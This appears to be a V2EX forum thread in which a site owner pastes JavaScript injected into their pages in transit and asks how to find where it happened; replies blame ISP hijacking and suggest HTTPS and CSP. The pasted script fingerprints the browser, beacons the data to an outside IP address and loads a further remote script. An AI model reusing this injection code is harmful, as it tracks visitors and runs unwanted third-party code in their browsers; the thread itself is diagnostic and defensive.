JS 内容被篡改,代码部署在云服务器,如何跟踪在哪个环节被篡改?

2018-02-08 11:59:06 +08:00
 AifeiI

被篡改后的 js:


!
function(a, b) {
    function c(a) {
        var d, e, f, g, h, i, b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
        for (new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1), f = a.length, e = 0, d = ""; f > e;) {
            if (g = 255 & a.charCodeAt(e++), e == f) {
                d += b.charAt(g >> 2),
                d += b.charAt((3 & g) << 4),
                d += "==";
                break
            }
            if (h = a.charCodeAt(e++), e == f) {
                d += b.charAt(g >> 2),
                d += b.charAt((3 & g) << 4 | (240 & h) >> 4),
                d += b.charAt((15 & h) << 2),
                d += "=";
                break
            }
            i = a.charCodeAt(e++),
            d += b.charAt(g >> 2),
            d += b.charAt((3 & g) << 4 | (240 & h) >> 4),
            d += b.charAt((15 & h) << 2 | (192 & i) >> 6),
            d += b.charAt(63 & i)
        }
        return d
    }
    function d() {
        return - 1 != b.userAgent.indexOf("MSIE") ? "ie": -1 != b.userAgent.indexOf("Chrome") ? "Chrome": -1 != b.userAgent.indexOf("Firefox") ? "Firefox": -1 != b.userAgent.indexOf("Opera") ? "Opera": -1 != b.userAgent.indexOf("Netscape") ? "Netscape": -1 != b.userAgent.indexOf("Safari") ? "Safari": ""
    }
    function e() {
        function e() {
            var a = "",
            c = b.plugins;
            if (c.length > 0) for (k = 0; k < b.plugins.length; k++) a += b.plugins[k].name + ";";
            return a
        }
        var f = b.appName,
        g = b.cookieEnabled,
        h = b.cpuClass,
        i = b.mimeTypes,
        j = b.platform,
        l = b.plugins,
        m = b.userAgent;
        return pStr = "type=" + d() + "&userAgent=" + m + "&appName=" + f + "&cookieEnabled=" + g + "&cpuClass=" + h + "&mimeType_length=" + i.length + "&platform=" + j + "&plugins_length=" + l.length + "&allPluginName=" + e() + "&window_screen_width=" + a.screen.width + "&window_screen_height=" + a.screen.height + "&window_screen_colorDepth=" + a.screen.colorDepth,
        c(pStr)
    }
    function g(a) {
        try {
            var b = new Image;
            b.src = 'http://183.59.53.237:8001/supplies/dot.gif?_b=' + _b + "&_n=" + a + " &_f=" + f + "&_js=https://assets-cdn.github.com/assets/github-857f3c501c8f.js?_t=1518060074842&_r=" + Math.random()
        } catch(c) {}
    }
    var h, i, j, k, l, m, n, f = 0;
    return window.innerWidth ? f = window.innerWidth: document.body && document.body.clientWidth && (f = document.body.clientWidth),
    document.documentElement && document.documentElement.clientWidth && (f = document.documentElement.clientWidth),
    window.self != window.top ? (g("iframe"), void 0) : (h = 0, (/AppleWebKit.*Mobile/i.test(navigator.userAgent) || navigator.userAgent.match(/(iPhone|iPod|iPad|Android|ios|BlackBerry|MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE)/i)) && (h = 1), 600 > f && 0 == h ? (g("pc"), void 0) : (i = e(), k = 0, l = 0, m = "scripts2s", n = document.createElement("script"), n.setAttribute("type", "text/javascript"), n.setAttribute("src", "http://183.59.53.237:8001/pjk/xjk/index.php?b=" + _b + "&pid=" + i + "&c=" + _c), n.id = m, document.body ? document.getElementById(m) || document.body.appendChild(n) : j = setInterval(function() {
        if (k++, 10 == k) return clearInterval(j),
        void 0;
        try {
            document.getElementById(m) || 1 == l ? clearInterval(j) : document.body && (document.body.appendChild(n), l = 1)
        } catch(a) {}
    },
    500), void 0))
} (window, navigator);

除了上 https 还有其它办法?

8882 次点击
所在节点    JavaScript
41 条回复
Loyalsoldier
2018-02-08 14:14:06 +08:00
在服务器响应加一下 CSP 规则就好了
hcymk2
2018-02-08 14:15:05 +08:00
试下 Content Security Policy
AifeiI
2018-02-08 14:15:42 +08:00
@pmispig 在这个大环境下,能不用就尽量不用。
AifeiI
2018-02-08 14:16:15 +08:00
@wrongwaycn 估计是电信机房搞的鬼
AifeiI
2018-02-08 14:19:41 +08:00
@Loyalsoldier #21

@hcymk2 #22

这是禁止执行,但问题是篡改了原有的 JS 内容,导致项目无法运作,这才是烦心的点。申请 CA 证书还要搞一堆配置,然后就是等,等等,等等
Loyalsoldier
2018-02-08 14:21:40 +08:00
@AifeiI #25
不好意思,没仔细看题。
只能上 HTTPS 了。先用 Let's Encrypt 证书顶着
POPOEVER
2018-02-08 14:23:24 +08:00
电信劫持吧
SourceMan
2018-02-08 14:37:50 +08:00
多大件事,不就是劫持嘛

上 HTTPS 规避一波。
opengps
2018-02-08 15:32:53 +08:00
@AifeiI 那就毫无疑问了,上 https 让中间劫持者看不懂传输内容来避免这个问题
blessyou
2018-02-08 15:41:18 +08:00
坐标深圳,也出现这个问题,插入的 js 地址在梅州...
pynix
2018-02-08 15:44:20 +08:00
劫持。。。
leefly
2018-02-08 16:01:56 +08:00
把 js 当 html 传输,用的时候再转成 js 试试看
Kakus
2018-02-08 20:24:25 +08:00
应该是运营商的问题,试了用手机开热点和用代理服务器方式访问,都不会出现,换回电信的网就又出来了。打了 10000 号客服投诉了,半小时之后问题没有再重现,估计后台把我们的网站放开了。
caola
2018-02-09 02:07:23 +08:00
什么年代了?居然还有不上 https 的网站?。。。
sdrzlyz
2018-02-09 09:09:16 +08:00
都 2018 年了,上个 https 很难嘛?
mandy0119
2018-02-09 10:29:26 +08:00
运营商吧。
yexm0
2018-02-09 22:49:42 +08:00
你是深圳电信用户?
AifeiI
2018-02-11 11:37:28 +08:00
@yexm0 广东电信
WindowPain
2018-02-12 13:22:24 +08:00
深圳电信。最近总是有弹窗,链接是 syt.mlnbike.com:2525/XXX,跳转去“品库特卖”。
这个“品库特卖”的链接小尾巴公然写着“?pk_from=dianxin ”……
linkdesu
2018-04-11 12:03:22 +08:00
@WindowPain 我最近也是遇到这问题,请问你的解决了吗?

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/429419

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX